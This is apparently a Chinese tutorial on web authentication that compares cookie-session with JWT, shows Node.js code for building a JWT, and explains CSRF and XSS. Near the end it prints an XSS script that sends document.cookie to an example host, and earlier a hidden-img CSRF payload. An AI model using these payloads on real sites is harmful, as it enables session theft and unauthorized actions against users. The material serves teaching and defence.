web服務中,用戶輸入用戶名密碼登入之后,后續訪問網站的其他功能就不用再輸入用戶名和密碼了。傳統的身份校驗機制為cookie-session
機制:
cookie-session機制
用戶瀏覽器訪問web網站,輸入用戶名密碼
服務器校驗用戶名密碼通過之后,生成sessonid並把sessionid和用戶信息映射起來保存在服務器
服務器將生成的sessionid返回給用戶瀏覽器,瀏覽器將sessionid存入cookie
此后用戶對該網站發起的其他請求都將帶上cookie中保存的sessionid
服務端把用戶傳過來的sessionid和保存在服務器的sessionid做對比,如果服務器中有該sessionid則代表身份驗證成功
這種方式存在以下幾個問題:
代碼安全機制不完善,可能存在CSRF漏洞
服務端需要保存sessionid與客戶端傳來的sessionid做對比,當服務器為集群多機的情況下,需要復制sessionid,在多台集群機器之間共享
如果需要單點登入,則須將sessionid存入redis等外部存儲保證每台機器每個系統都能訪問到,如果外部存儲服務宕機,則單點登入失效
CSRF攻擊
用戶訪問A網站(http://www.aaa.com),輸入用戶名密碼
服務器驗證通過,生成sessionid並返回給客戶端存入cookie
用戶在沒有退出或者沒有關閉A網站,cookie還未過期的情況下訪問惡意網站B
B網站返回含有如下代碼的html:
//假設A網站注銷用戶的url為:https://www.aaa.com/delete_user
<img src="https://www.aaa.com/delete_user" style="display:none;"/>
瀏覽器發起對A網站的請求,並帶上A網站的cookie,注銷了用戶
JWT認證方式
JWT全稱 Json Web Token
,是一個長字符串,由三部分組成:Header(頭部)
、 Payload(負載)
、Signature(簽名)
,Header.Payload.Signature
,用.
分割各部分內容,看起來大概就像下面這樣:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6InhpYW8gamllIiwiYWRtaW4iOnRydWV9.MjcxZGFjMmQzZjNlMzdjMTU0OGZmM2FlNzFjNDkyMDAwODkzZGNiYmFkODc0MTJhYTYzMTE4MmY0NDBhNzkzZA
生成過程如下:
const crypto = require("crypto"); const base64UrlEncode = require("base64url"); //頭部信息 var header = { "alg": "HS256", //簽名算法類型,默認是 HMAC SHA256(寫成 HS256) "typ": "JWT" //令牌類型,JWT令牌統一為JWT }; //負載信息,存儲用戶信息 var payload = { "sub": "1234567890", "name": "xiao jie", "admin": true } //服務器秘鑰,用於加密生成signature,不可泄漏 var secret = "chaojidamantou"; //header部分和payload部分 var message = base64UrlEncode(JSON.stringify(header)) + "." + base64UrlEncode(JSON.stringify(payload)); //HMACSHA256加密算法 function HMACSHA256(message, secret) { return crypto.createHmac('sha256', secret).update(message).digest("hex"); } //生成簽名信息 var signature = HMACSHA256(message, secret); //header和payload部分內容默認不加密,也可以使用加密算法加密 var JWT = message + "." + base64UrlEncode(signature); console.log(JWT);
驗證過程如下:
用戶訪問網站,輸入賬號密碼登入
服務器校驗通過,生成JWT,不保存JWT,直接返回給客戶端
客戶端將JWT存入cookie或者localStorage
此后用戶發起的請求,都將使用js從cookie或者localStorage讀取JWT放在http請求的header中,發給服務端
服務端獲取header中的JWT,用base64URL算法解碼各部分內容,並在服務端用同樣的秘鑰和算法生成signature,與傳過來的signature對比,驗證JWT是否合法
使用JWT驗證,由於服務端不保存用戶信息,不用做sessonid復制,這樣集群水平擴展就變得容易了。同時用戶發請求給服務端時,前端使用JS將JWT放在header中手動發送給服務端,服務端驗證header中的JWT字段,而非cookie信息,這樣就避免了CSRF漏洞攻擊。
不過,無論是cookie-session還是JWT,都存在被XSS攻擊盜取的風險:
XSS攻擊
跨站腳本攻擊,其基本原理同sql注入攻擊類似。頁面上用來輸入信息內容的輸入框,被輸入了可執行代碼。假如某論壇網站有以下輸入域用來輸入帖子內容
發帖內容:<textarea rows="3" cols="20"></textarea>
而惡意用戶在textarea發帖內容中填入諸如以下的js腳本:
今天很開心,學會了JWT
<script> $.ajax({ type: "post", url: "https://www.abc.com/getcookie", data: {cookie : document.cookie} }); </script>
那么當其他用戶訪問該帖子的時候,用戶的cookie就會被發送到abc域名的服務器上了。
為了避免xss攻擊,客戶端和服務端都應該對提交數據進行xss攻擊轉義。